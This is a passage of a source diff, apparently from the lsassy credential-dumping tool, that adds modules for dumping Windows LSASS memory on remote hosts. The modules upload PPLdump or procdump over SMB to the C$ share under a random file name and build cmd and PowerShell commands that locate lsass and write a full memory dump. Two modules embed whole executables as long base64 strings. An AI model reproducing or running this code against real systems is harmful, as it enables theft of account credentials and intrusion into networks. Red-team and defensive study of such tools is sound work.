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16 self.ppldump_remote_share = "C$"
17 self.ppldump_remote_path = "\\Windows\\Temp\\"
18 self.ppldump = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + ".exe"
19 self.ppldump_uploaded = False
20
21 def prepare(self, options):
22 self.ppldump_remote_share = options.get("ppldump_remote_share", self.ppldump_remote_share)
23 self.ppldump_remote_path = options.get("ppldump_remote_path", self.ppldump_remote_path)
24 self.ppldump = options.get("ppldump", self.ppldump)
25
26 # Upload ppldump
27 logging.debug('Uploading ppldump...')
28
29 if ImpacketFile.create_file(self._session, self.ppldump_remote_share, self.ppldump_remote_path, self.ppldump, self.ppldump_content) != True:
30 logging.error("PPLdump upload error", exc_info=True)
31 return None
32 logging.success("PPLdump successfully uploaded")
33 self.ppldump_uploaded = True
34 return True
35
36 def clean(self):
37 if self.ppldump_uploaded:
38 ImpacketFile.delete(self._session, self.ppldump_remote_path + self.ppldump, timeout=self._timeout)
39
40 def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
41 cmd_command = """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {}{} %J {}{}""".format(
42 self.ppldump_remote_path, self.ppldump,
43 self.dump_path, self.dump_name
44 )
45 pwsh_command = """{}{} (Get-Process lsass).Id {}{}""".format(
46 self.ppldump_remote_path, self.ppldump,
47 self.dump_path, self.dump_name
48 )
49 return {
50 "cmd": cmd_command,
51 "pwsh": pwsh_command
52 }
+61
-0
lsassy/dumpmethod/procdump.py less more
0 import logging
1 import os
2 import time
3
4 from lsassy.dumpmethod import IDumpMethod
5 from lsassy.impacketfile import ImpacketFile
6
7
8 class DumpMethod(IDumpMethod):
9 def __init__(self, session, timeout):
10 super().__init__(session, timeout)
11 self.procdump = "procdump.exe"
12 self.procdump_path = False
13 self.procdump_remote_share = "C$"
14 self.procdump_remote_path = "\\Windows\\Temp\\"
15
16 self.procdump_uploaded = False
17
18 def prepare(self, options):
19 self.procdump = options.get("procdump", self.procdump)
20 self.procdump_path = options.get("procdump_path", self.procdump_path)
21 self.procdump_remote_share = options.get("procdump_remote_share", self.procdump_remote_share)
22 self.procdump_remote_path = options.get("procdump_remote_path", self.procdump_remote_path)
23
24 if not self.procdump_path:
25 logging.error("Missing procdump_path")
26 return None
27
28 if not os.path.exists(self.procdump_path):
29 logging.error("{} does not exist.".format(self.procdump_path))
30 return None
31
32 # Upload procdump
33 logging.debug('Copy {} to {}'.format(self.procdump_path, self.procdump_remote_path))
34 with open(self.procdump_path, 'rb') as p:
35 try:
36 self._session.smb_session.putFile(self.procdump_remote_share, self.procdump_remote_path + self.procdump, p.read)
37 logging.success("Procdump successfully uploaded")
38 self.procdump_uploaded = True
39 return True
40 except Exception as e:
41 logging.error("Procdump upload error", exc_info=True)
42 return None
43
44 def clean(self):
45 if self.procdump_uploaded:
46 ImpacketFile.delete(self._session, self.procdump_remote_path + self.procdump, timeout=self._timeout)
47
48 def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
49 cmd_command = """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {}{} -accepteula -o -ma %J {}{}""".format(
50 self.procdump_remote_path, self.procdump,
51 self.dump_path, self.dump_name
52 )
53 pwsh_command = """{}{} -accepteula -o -ma (Get-Process lsass).Id {}{}""".format(
54 self.procdump_remote_path, self.procdump,
55 self.dump_path, self.dump_name
56 )
57 return {
58 "cmd": cmd_command,
59 "pwsh": pwsh_command
60 }
+53
-0
lsassy/dumpmethod/procdump_embedded.py less more
0 import logging
1 import os
2 import time
3 import base64
4 import random
5 import string
6
7 from lsassy.impacketfile import ImpacketFile
8
9 from lsassy.dumpmethod import IDumpMethod
10
11
12 class DumpMethod(IDumpMethod):
13 def __init__(self, session, timeout):
14 super().__init__(session, timeout)
15 self.procdump_content = base64.b64decode("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